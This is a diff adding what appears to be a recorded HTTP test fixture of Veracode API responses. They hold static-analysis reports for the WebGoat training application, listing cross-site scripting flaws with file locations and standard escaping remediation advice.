+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:21 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:13:24 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:13:24 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
